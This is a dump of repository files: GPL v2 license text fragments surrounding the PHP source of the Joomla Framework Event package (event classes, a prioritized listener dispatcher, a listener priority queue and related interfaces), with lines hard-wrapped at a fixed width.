It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

use ArrayAccess;
use Countable;
use Serializable;

/**
 * Implementation of EventInterface.
 *
 * @since  1.0
 */
abstract class AbstractEvent implements EventInterface, ArrayAccess,
Serializable, Countable
{
	/**
	 * The event name.
	 *
	 * @var    string
	 *
	 * @since  1.0
	 */
	protected $name;

	/**
	 * The event arguments.
	 *
	 * @var    array
	 *
	 * @since  1.0
	 */
	protected $arguments;

	/**
	 * A flag to see if the event propagation is stopped.
	 *
	 * @var    boolean
	 *
	 * @since  1.0
	 */
	protected $stopped = false;

	/**
	 * Constructor.
	 *
	 * @param   string  $name       The event name.
	 * @param   array   $arguments  The event arguments.
	 *
	 * @since   1.0
	 */
	public function __construct($name, array $arguments = array())
	{
		$this->name      = $name;
		$this->arguments = $arguments;
	}

	/**
	 * Get the event name.
	 *
	 * @return  string  The event name.
	 *
	 * @since   1.0
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * Get an event argument value.
	 *
	 * @param   string  $name     The argument name.
	 * @param   mixed   $default  The default value if not found.
	 *
	 * @return  mixed  The argument value or the default value.
	 *
	 * @since   1.0
	 */
	public function getArgument($name, $default = null)
	{
		if (isset($this->arguments[$name]))
		{
			return $this->arguments[$name];
		}

		return $default;
	}

	/**
	 * Tell if the given event argument exists.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  boolean  True if it exists, false otherwise.
	 *
	 * @since   1.0
	 */
	public function hasArgument($name)
	{
		return isset($this->arguments[$name]);
	}

	/**
	 * Get all event arguments.
	 *
	 * @return  array  An associative array of argument names as keys
	 *                 and their values as values.
	 *
	 * @since   1.0
	 */
	public function getArguments()
	{
		return $this->arguments;
	}

	/**
	 * Tell if the event propagation is stopped.
	 *
	 * @return  boolean  True if stopped, false otherwise.
	 *
	 * @since   1.0
	 */
	public function isStopped()
	{
		return $this->stopped === true;
	}

	/**
	 * Count the number of arguments.
	 *
	 * @return  integer  The number of arguments.
	 *
	 * @since   1.0
	 */
	public function count()
	{
		return \count($this->arguments);
	}

	/**
	 * Serialize the event.
	 *
	 * @return  string  The serialized event.
	 *
	 * @since   1.0
	 */
	public function serialize()
	{
		return serialize(array($this->name, $this->arguments,
$this->stopped));
	}

	/**
	 * Unserialize the event.
	 *
	 * @param   string  $serialized  The serialized event.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function unserialize($serialized)
	{
		list($this->name, $this->arguments, $this->stopped) =
unserialize($serialized);
	}

	/**
	 * Tell if the given event argument exists.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  boolean  True if it exists, false otherwise.
	 *
	 * @since   1.0
	 */
	public function offsetExists($name)
	{
		return $this->hasArgument($name);
	}

	/**
	 * Get an event argument value.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  mixed  The argument value or null if not existing.
	 *
	 * @since   1.0
	 */
	public function offsetGet($name)
	{
		return $this->getArgument($name);
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * A dispatcher delegating its methods to an other dispatcher.
 *
 * @since       1.0
 * @deprecated  2.0 Create your own delegating (decorating) dispatcher as
needed.
 */
final class DelegatingDispatcher implements DispatcherInterface
{
	/**
	 * The delegated dispatcher.
	 *
	 * @var    DispatcherInterface
	 * @since  1.0
	 */
	private $dispatcher;

	/**
	 * Constructor.
	 *
	 * @param   DispatcherInterface  $dispatcher  The delegated dispatcher.
	 *
	 * @since   1.0
	 */
	public function __construct(DispatcherInterface $dispatcher)
	{
		$this->dispatcher = $dispatcher;
	}

	/**
	 * Trigger an event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  EventInterface  The event after being passed through all
listeners.
	 *
	 * @since   1.0
	 */
	public function triggerEvent($event)
	{
		return $this->dispatcher->triggerEvent($event);
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

use Closure;
use InvalidArgumentException;

/**
 * Implementation of a DispatcherInterface supporting
 * prioritized listeners.
 *
 * @since  1.0
 */
class Dispatcher implements DispatcherInterface
{
	/**
	 * An array of registered events indexed by
	 * the event names.
	 *
	 * @var    EventInterface[]
	 *
	 * @since  1.0
	 */
	protected $events = array();

	/**
	 * A regular expression that will filter listener method names.
	 *
	 * @var    string
	 * @since  1.0
	 * @deprecated  1.1.0
	 */
	protected $listenerFilter;

	/**
	 * An array of ListenersPriorityQueue indexed
	 * by the event names.
	 *
	 * @var    ListenersPriorityQueue[]
	 *
	 * @since  1.0
	 */
	protected $listeners = array();

	/**
	 * Set an event to the dispatcher.
	 * It will replace any event with the same name.
	 *
	 * @param   EventInterface  $event  The event.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function setEvent(EventInterface $event)
	{
		$this->events[$event->getName()] = $event;

		return $this;
	}

	/**
	 * Sets a regular expression to filter the class methods when adding a
listener.
	 *
	 * @param   string  $regex  A regular expression (for example
'^on' will only register methods starting with "on").
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since       1.0
	 * @deprecated  1.1.0  Incorporate a method in your listener object such
as `getEvents` to feed into the `setListener` method.
	 */
	public function setListenerFilter($regex)
	{
		$this->listenerFilter = $regex;

		return $this;
	}

	/**
	 * Add an event to this dispatcher, only if it is not existing.
	 *
	 * @param   EventInterface  $event  The event.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function addEvent(EventInterface $event)
	{
		if (!isset($this->events[$event->getName()]))
		{
			$this->events[$event->getName()] = $event;
		}

		return $this;
	}

	/**
	 * Tell if the given event has been added to this dispatcher.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  boolean  True if the listener has the given event, false
otherwise.
	 *
	 * @since   1.0
	 */
	public function hasEvent($event)
	{
		if ($event instanceof EventInterface)
		{
			$event = $event->getName();
		}

		return isset($this->events[$event]);
	}

	/**
	 * Get the event object identified by the given name.
	 *
	 * @param   string  $name     The event name.
	 * @param   mixed   $default  The default value if the event was not
registered.
	 *
	 * @return  EventInterface|mixed  The event of the default value.
	 *
	 * @since   1.0
	 */
	public function getEvent($name, $default = null)
	{
		if (isset($this->events[$name]))
		{
			return $this->events[$name];
		}

		return $default;
	}

	/**
	 * Remove an event from this dispatcher.
	 * The registered listeners will remain.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function removeEvent($event)
	{
		if ($event instanceof EventInterface)
		{
			$event = $event->getName();
		}

		if (isset($this->events[$event]))
		{
			unset($this->events[$event]);
		}

		return $this;
	}

	/**
	 * Get the registered events.
	 *
	 * @return  EventInterface[]  The registered event.
	 *
	 * @since   1.0
	 */
	public function getEvents()
	{
		return $this->events;
	}

	/**
	 * Clear all events.
	 *
	 * @return  EventInterface[]  The old events.
	 *
	 * @since   1.0
	 */
	public function clearEvents()
	{
		$events       = $this->events;
		$this->events = array();

		return $events;
	}

	/**
	 * Count the number of registered event.
	 *
	 * @return  integer  The numer of registered events.
	 *
	 * @since   1.0
	 */
	public function countEvents()
	{
		return \count($this->events);
	}

	/**
	 * Add a listener to this dispatcher, only if not already registered to
these events.
	 * If no events are specified, it will be registered to all events
matching it's methods name.
	 * In the case of a closure, you must specify at least one event name.
	 *
	 * @param   object|Closure  $listener  The listener
	 * @param   array           $events    An associative array of event names
as keys
	 *                                     and the corresponding listener
priority as values.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @throws  InvalidArgumentException
	 *
	 * @since   1.0
	 */
	public function addListener($listener, array $events = array())
	{
		if (!\is_object($listener))
		{
			throw new InvalidArgumentException('The given listener is not an
object.');
		}

		// We deal with a closure.
		if ($listener instanceof Closure)
		{
			if (empty($events))
			{
				throw new InvalidArgumentException('No event name(s) and priority
specified for the Closure listener.');
			}

			foreach ($events as $name => $priority)
			{
				if (!isset($this->listeners[$name]))
				{
					$this->listeners[$name] = new ListenersPriorityQueue;
				}

				$this->listeners[$name]->add($listener, $priority);
			}

			return $this;
		}

		// We deal with a "normal" object.
		$methods = get_class_methods($listener);

		if (!empty($events))
		{
			$methods = array_intersect($methods, array_keys($events));
		}

		// @deprecated
		$regex = $this->listenerFilter ?: '.*';

		foreach ($methods as $event)
		{
			// @deprecated - this outer `if` is deprecated.
			if (preg_match("#$regex#", $event))
			{
				// Retain this inner code after removal of the outer `if`.
				if (!isset($this->listeners[$event]))
				{
					$this->listeners[$event] = new ListenersPriorityQueue;
				}

				$priority = isset($events[$event]) ? $events[$event] :
Priority::NORMAL;

				$this->listeners[$event]->add($listener, $priority);
			}
		}

		return $this;
	}

	/**
	 * Get the priority of the given listener for the given event.
	 *
	 * @param   object|Closure         $listener  The listener.
	 * @param   EventInterface|string  $event     The event object or name.
	 *
	 * @return  mixed  The listener priority or null if the listener
doesn't exist.
	 *
	 * @since   1.0
	 */
	public function getListenerPriority($listener, $event)
	{
		if ($event instanceof EventInterface)
		{
			$event = $event->getName();
		}

		if (isset($this->listeners[$event]))
		{
			return $this->listeners[$event]->getPriority($listener);
		}
	}

	/**
	 * Get the listeners registered to the given event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  object[]  An array of registered listeners sorted according to
their priorities.
	 *
	 * @since   1.0
	 */
	public function getListeners($event)
	{
		if ($event instanceof EventInterface)
		{
			$event = $event->getName();
		}

		if (isset($this->listeners[$event]))
		{
			return $this->listeners[$event]->getAll();
		}

		return array();
	}

	/**
	 * Tell if the given listener has been added.
	 * If an event is specified, it will tell if the listener is registered
for that event.
	 *
	 * @param   object|Closure         $listener  The listener.
	 * @param   EventInterface|string  $event     The event object or name.
	 *
	 * @return  boolean  True if the listener is registered, false otherwise.
	 *
	 * @since   1.0
	 */
	public function hasListener($listener, $event = null)
	{
		if ($event)
		{
			if ($event instanceof EventInterface)
			{
				$event = $event->getName();
			}

			if (isset($this->listeners[$event]))
			{
				return $this->listeners[$event]->has($listener);
			}
		}
		else
		{
			foreach ($this->listeners as $queue)
			{
				if ($queue->has($listener))
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Remove the given listener from this dispatcher.
	 * If no event is specified, it will be removed from all events it is
listening to.
	 *
	 * @param   object|Closure         $listener  The listener to remove.
	 * @param   EventInterface|string  $event     The event object or name.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function removeListener($listener, $event = null)
	{
		if ($event)
		{
			if ($event instanceof EventInterface)
			{
				$event = $event->getName();
			}

			if (isset($this->listeners[$event]))
			{
				$this->listeners[$event]->remove($listener);
			}
		}
		else
		{
			foreach ($this->listeners as $queue)
			{
				$queue->remove($listener);
			}
		}

		return $this;
	}

	/**
	 * Clear the listeners in this dispatcher.
	 * If an event is specified, the listeners will be cleared only for that
event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  Dispatcher  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function clearListeners($event = null)
	{
		if ($event)
		{
			if ($event instanceof EventInterface)
			{
				$event = $event->getName();
			}

			if (isset($this->listeners[$event]))
			{
				unset($this->listeners[$event]);
			}
		}
		else
		{
			$this->listeners = array();
		}

		return $this;
	}

	/**
	 * Count the number of registered listeners for the given event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  integer  The number of registered listeners for the given
event.
	 *
	 * @since   1.0
	 */
	public function countListeners($event)
	{
		if ($event instanceof EventInterface)
		{
			$event = $event->getName();
		}

		return isset($this->listeners[$event]) ?
\count($this->listeners[$event]) : 0;
	}

	/**
	 * Trigger an event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  EventInterface  The event after being passed through all
listeners.
	 *
	 * @since   1.0
	 */
	public function triggerEvent($event)
	{
		if (!($event instanceof EventInterface))
		{
			if (isset($this->events[$event]))
			{
				$event = $this->events[$event];
			}
			else
			{
				$event = new Event($event);
			}
		}

		if (isset($this->listeners[$event->getName()]))
		{
			foreach ($this->listeners[$event->getName()] as $listener)
			{
				if ($event->isStopped())
				{
					return $event;
				}

				if ($listener instanceof Closure)
				{
					\call_user_func($listener, $event);
				}
				else
				{
					\call_user_func(array($listener, $event->getName()), $event);
				}
			}
		}

		return $event;
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * Interface to be implemented by classes depending on a dispatcher.
 *
 * @since  1.0
 */
interface DispatcherAwareInterface
{
	/**
	 * Set the dispatcher to use.
	 *
	 * @param   DispatcherInterface  $dispatcher  The dispatcher to use.
	 *
	 * @return  DispatcherAwareInterface  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function setDispatcher(DispatcherInterface $dispatcher);
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * Defines the trait for a Dispatcher Aware Class.
 *
 * @since  1.2.0
 */
trait DispatcherAwareTrait
{
	/**
	 * Event Dispatcher
	 *
	 * @var    DispatcherInterface
	 * @since  1.2.0
	 */
	private $dispatcher;

	/**
	 * Get the event dispatcher.
	 *
	 * @return  DispatcherInterface
	 *
	 * @since   1.2.0
	 * @throws  \UnexpectedValueException May be thrown if the dispatcher has
not been set.
	 */
	public function getDispatcher()
	{
		if ($this->dispatcher)
		{
			return $this->dispatcher;
		}

		throw new \UnexpectedValueException('Dispatcher not set in ' .
__CLASS__);
	}

	/**
	 * Set the dispatcher to use.
	 *
	 * @param   DispatcherInterface  $dispatcher  The dispatcher to use.
	 *
	 * @return  $this
	 *
	 * @since   1.2.0
	 */
	public function setDispatcher(DispatcherInterface $dispatcher)
	{
		$this->dispatcher = $dispatcher;

		return $this;
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * Interface for event dispatchers.
 *
 * @since  1.0
 */
interface DispatcherInterface
{
	/**
	 * Trigger an event.
	 *
	 * @param   EventInterface|string  $event  The event object or name.
	 *
	 * @return  EventInterface  The event after being passed through all
listeners.
	 *
	 * @since   1.0
	 */
	public function triggerEvent($event);
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

use InvalidArgumentException;

/**
 * Default Event class.
 *
 * @since  1.0
 */
class Event extends AbstractEvent
{
	/**
	 * Add an event argument, only if it is not existing.
	 *
	 * @param   string  $name   The argument name.
	 * @param   mixed   $value  The argument value.
	 *
	 * @return  Event  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function addArgument($name, $value)
	{
		if (!isset($this->arguments[$name]))
		{
			$this->arguments[$name] = $value;
		}

		return $this;
	}

	/**
	 * Set the value of an event argument.
	 * If the argument already exists, it will be overridden.
	 *
	 * @param   string  $name   The argument name.
	 * @param   mixed   $value  The argument value.
	 *
	 * @return  Event  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function setArgument($name, $value)
	{
		$this->arguments[$name] = $value;

		return $this;
	}

	/**
	 * Remove an event argument.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  mixed  The old argument value or null if it is not existing.
	 *
	 * @since   1.0
	 */
	public function removeArgument($name)
	{
		$return = null;

		if (isset($this->arguments[$name]))
		{
			$return = $this->arguments[$name];
			unset($this->arguments[$name]);
		}

		return $return;
	}

	/**
	 * Clear all event arguments.
	 *
	 * @return  array  The old arguments.
	 *
	 * @since   1.0
	 */
	public function clearArguments()
	{
		$arguments       = $this->arguments;
		$this->arguments = array();

		return $arguments;
	}

	/**
	 * Stop the event propagation.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function stop()
	{
		$this->stopped = true;
	}

	/**
	 * Set the value of an event argument.
	 *
	 * @param   string  $name   The argument name.
	 * @param   mixed   $value  The argument value.
	 *
	 * @return  void
	 *
	 * @throws  InvalidArgumentException  If the argument name is null.
	 *
	 * @since   1.0
	 */
	public function offsetSet($name, $value)
	{
		if ($name === null)
		{
			throw new InvalidArgumentException('The argument name cannot be
null.');
		}

		$this->setArgument($name, $value);
	}

	/**
	 * Remove an event argument.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function offsetUnset($name)
	{
		$this->removeArgument($name);
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

use BadMethodCallException;

/**
 * Implementation of an immutable Event.
 * An immutable event cannot be modified after instanciation :
 *
 * - its propagation cannot be stopped
 * - its arguments cannot be modified
 *
 * You may want to use this event when you want to ensure that
 * the listeners won't manipulate it.
 *
 * @since  1.0
 */
final class EventImmutable extends AbstractEvent
{
	/**
	 * A flag to see if the constructor has been
	 * already called.
	 *
	 * @var  boolean
	 */
	private $constructed = false;

	/**
	 * Constructor.
	 *
	 * @param   string  $name       The event name.
	 * @param   array   $arguments  The event arguments.
	 *
	 * @throws  BadMethodCallException
	 *
	 * @since   1.0
	 */
	public function __construct($name, array $arguments = array())
	{
		if ($this->constructed)
		{
			throw new BadMethodCallException(
				sprintf('Cannot reconstruct the EventImmutable %s.',
$this->name)
			);
		}

		$this->constructed = true;

		parent::__construct($name, $arguments);
	}

	/**
	 * Set the value of an event argument.
	 *
	 * @param   string  $name   The argument name.
	 * @param   mixed   $value  The argument value.
	 *
	 * @return  void
	 *
	 * @throws  BadMethodCallException
	 *
	 * @since   1.0
	 */
	public function offsetSet($name, $value)
	{
		throw new BadMethodCallException(
			sprintf(
				'Cannot set the argument %s of the immutable event %s.',
				$name,
				$this->name
			)
		);
	}

	/**
	 * Remove an event argument.
	 *
	 * @param   string  $name  The argument name.
	 *
	 * @return  void
	 *
	 * @throws  BadMethodCallException
	 *
	 * @since   1.0
	 */
	public function offsetUnset($name)
	{
		throw new BadMethodCallException(
			sprintf(
				'Cannot remove the argument %s of the immutable event %s.',
				$name,
				$this->name
			)
		);
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * Interface for events.
 * An event has a name and its propagation can be stopped (if the
implementation supports it).
 *
 * @since  1.0
 */
interface EventInterface
{
	/**
	 * Get the event name.
	 *
	 * @return  string  The event name.
	 *
	 * @since   1.0
	 */
	public function getName();

	/**
	 * Tell if the event propagation is stopped.
	 *
	 * @return  boolean  True if stopped, false otherwise.
	 *
	 * @since   1.0
	 */
	public function isStopped();
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

use Countable;
use IteratorAggregate;
use SplObjectStorage;
use SplPriorityQueue;

/**
 * A class containing an inner listeners priority queue that can be
iterated multiple times.
 * One instance of ListenersPriorityQueue is used per Event in the
Dispatcher.
 *
 * @since  1.0
 */
class ListenersPriorityQueue implements IteratorAggregate, Countable
{
	/**
	 * The inner priority queue.
	 *
	 * @var    SplPriorityQueue
	 *
	 * @since  1.0
	 */
	protected $queue;

	/**
	 * A copy of the listeners contained in the queue
	 * that is used when detaching them to
	 * recreate the queue or to see if the queue contains
	 * a given listener.
	 *
	 * @var    SplObjectStorage
	 *
	 * @since  1.0
	 */
	protected $storage;

	/**
	 * A decreasing counter used to compute
	 * the internal priority as an array because
	 * SplPriorityQueue dequeues elements with the same priority.
	 *
	 * @var    integer
	 *
	 * @since  1.0
	 */
	private $counter = PHP_INT_MAX;

	/**
	 * Constructor.
	 *
	 * @since  1.0
	 */
	public function __construct()
	{
		$this->queue   = new SplPriorityQueue;
		$this->storage = new SplObjectStorage;
	}

	/**
	 * Add a listener with the given priority only if not already present.
	 *
	 * @param   \Closure|object  $listener  The listener.
	 * @param   integer          $priority  The listener priority.
	 *
	 * @return  ListenersPriorityQueue  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function add($listener, $priority)
	{
		if (!$this->storage->contains($listener))
		{
			// Compute the internal priority as an array.
			$priority = array($priority, $this->counter--);

			$this->storage->attach($listener, $priority);
			$this->queue->insert($listener, $priority);
		}

		return $this;
	}

	/**
	 * Remove a listener from the queue.
	 *
	 * @param   \Closure|object  $listener  The listener.
	 *
	 * @return  ListenersPriorityQueue  This method is chainable.
	 *
	 * @since   1.0
	 */
	public function remove($listener)
	{
		if ($this->storage->contains($listener))
		{
			$this->storage->detach($listener);
			$this->storage->rewind();

			$this->queue = new SplPriorityQueue;

			foreach ($this->storage as $listener)
			{
				$priority = $this->storage->getInfo();
				$this->queue->insert($listener, $priority);
			}
		}

		return $this;
	}

	/**
	 * Tell if the listener exists in the queue.
	 *
	 * @param   \Closure|object  $listener  The listener.
	 *
	 * @return  boolean  True if it exists, false otherwise.
	 *
	 * @since   1.0
	 */
	public function has($listener)
	{
		return $this->storage->contains($listener);
	}

	/**
	 * Get the priority of the given listener.
	 *
	 * @param   \Closure|object  $listener  The listener.
	 * @param   mixed            $default   The default value to return if the
listener doesn't exist.
	 *
	 * @return  mixed  The listener priority if it exists, null otherwise.
	 *
	 * @since   1.0
	 */
	public function getPriority($listener, $default = null)
	{
		if ($this->storage->contains($listener))
		{
			return $this->storage[$listener][0];
		}

		return $default;
	}

	/**
	 * Get all listeners contained in this queue, sorted according to their
priority.
	 *
	 * @return  object[]  An array of listeners.
	 *
	 * @since   1.0
	 */
	public function getAll()
	{
		$listeners = array();

		// Get a clone of the queue.
		$queue = $this->getIterator();

		foreach ($queue as $listener)
		{
			$listeners[] = $listener;
		}

		return $listeners;
	}

	/**
	 * Get the inner queue with its cursor on top of the heap.
	 *
	 * @return  SplPriorityQueue  The inner queue.
	 *
	 * @since   1.0
	 */
	public function getIterator()
	{
		// SplPriorityQueue queue is a heap.
		$queue = clone $this->queue;

		if (!$queue->isEmpty())
		{
			$queue->top();
		}

		return $queue;
	}

	/**
	 * Count the number of listeners in the queue.
	 *
	 * @return  integer  The number of listeners in the queue.
	 *
	 * @since   1.0
	 */
	public function count()
	{
		return \count($this->queue);
	}
}
<?php
/**
 * Part of the Joomla Framework Event Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Event;

/**
 * An enumeration of priorities for event listeners,
 * that you are encouraged to use when adding them in the Dispatcher.
 *
 * @since  1.0
 */
final class Priority
{
	const MIN          = -3;
	const LOW          = -2;
	const BELOW_NORMAL = -1;
	const NORMAL       = 0;
	const ABOVE_NORMAL = 1;
	const HIGH         = 2;
	const MAX          = 3;
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
